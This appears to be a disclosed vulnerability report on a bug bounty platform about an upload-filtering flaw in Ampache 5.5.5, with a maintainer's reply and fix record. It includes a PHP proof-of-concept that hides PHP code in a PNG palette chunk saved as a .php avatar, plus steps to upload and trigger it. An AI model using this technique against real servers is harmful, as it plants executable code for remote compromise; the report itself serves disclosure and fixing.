Insufficient Upload Filtering in ampache/ampache

Valid

Reported on

Dec 5th 2022


Description

The upload filter in Ampache 5.5.5 is insufficient and does not prevent authenticated users from uploading files with malicious extensions, which can lead to remote code execution (RCE) depending on the local server configuration.

This vulnerability assumes several things (which has been taken into account for the CVSS score):

1 - A default configuration of Ampache

2 - A dummy user test with normal user permissions (every account with the ability to change the profile picture for example will work)

3 - A non default configuration value: album_art_store_disk = "true" (default = "false") in ampache.cfg.php

4 - A non default configuration value: locate_metadata_dir = "/var/www/html" (default = none) in ampache.cfg.php

The mentioned configuration values allow the vendor to store images and songs (etc.) on disk instead of in the database. The administrator may choose any location accessible by the web-user for the storage directory, but should that path also be accessible via the browser any authenticated user may trigger remote code execution, see PoC.

Proof of Concept

Prepare a malicious profile picture by hiding a payload in the PLTE chunk: (the technique is described here)

<?php
$_payload="<?php phpinfo()?> ";
$_pay_len=strlen($_payload);
$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
  $_color_chunks=str_split($_chunks[$i], 2);
  $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
  imagesetpixel($im,$i,1,$color);
}
imagepng($im,"profile.php");

Login as the dummy user, go to the profile settings and upload the malicious profile picture. Upon saving the profile, the image should render as weird blob.

The default location for the stored image will now be <HOST>/user/<user-id>/default/art-original.php where the <user-id> is an integer (admin = 1, next user created = 2, etc.). Upon requesting the uploaded file in the browser, the php code is executed.

PoC

Details

In src/Repository/Model/User.php line 1443, update_avatar() is called with the uploaded file and no sanitization checks on the extension. The file is then later processed in src/Repository/Model/Art.php where in line 351 it is checked whether it is a valid image. However, the extension is ignored at all times up to the point where the file is written in line 445 (write_to_dir()).

To mitigate the root issue (any extension is allowed) I would advise to implement an extension whitelist, possibly in the insert() function in Art.php.

Impact

This vulnerability may lead to remote code execution. However, this is rather unlikely due to the fact that a vendor would probably be aware of the potential danger when an upload directory is exposed to the user. Still, there should at least be a warning in the configuration about the possible implications for this setting. At the very least any authenticated user can upload files with dangerous extensions.

Using CVSS v3.1 the following vector was determined: AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N. Marking the AC as high to compensate for the necessary preconditions for successful exploitation.

We are processing your report and will contact the ampache team within 24 hours. a month ago
We have contacted a member of the ampache team and are waiting to hear back a month ago
lachlan validated this vulnerability a month ago

I'm 50/50 on this one, it does require a bad admin but also allows a regular user to execute things they shouldn't if they've made a bad choice regardless or permissions.

I think i'll put a check on the upload_avatar function for image extensions that we allow

crackcat has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
lachlan marked this as fixed in 5.5.6 with commit 8293fa a month ago
lachlan has been awarded the fix bounty
This vulnerability has been assigned a CVE
This vulnerability is scheduled to go public on Dec 23rd 2022
Ben Harvie published this vulnerability 18 days ago
to join this conversation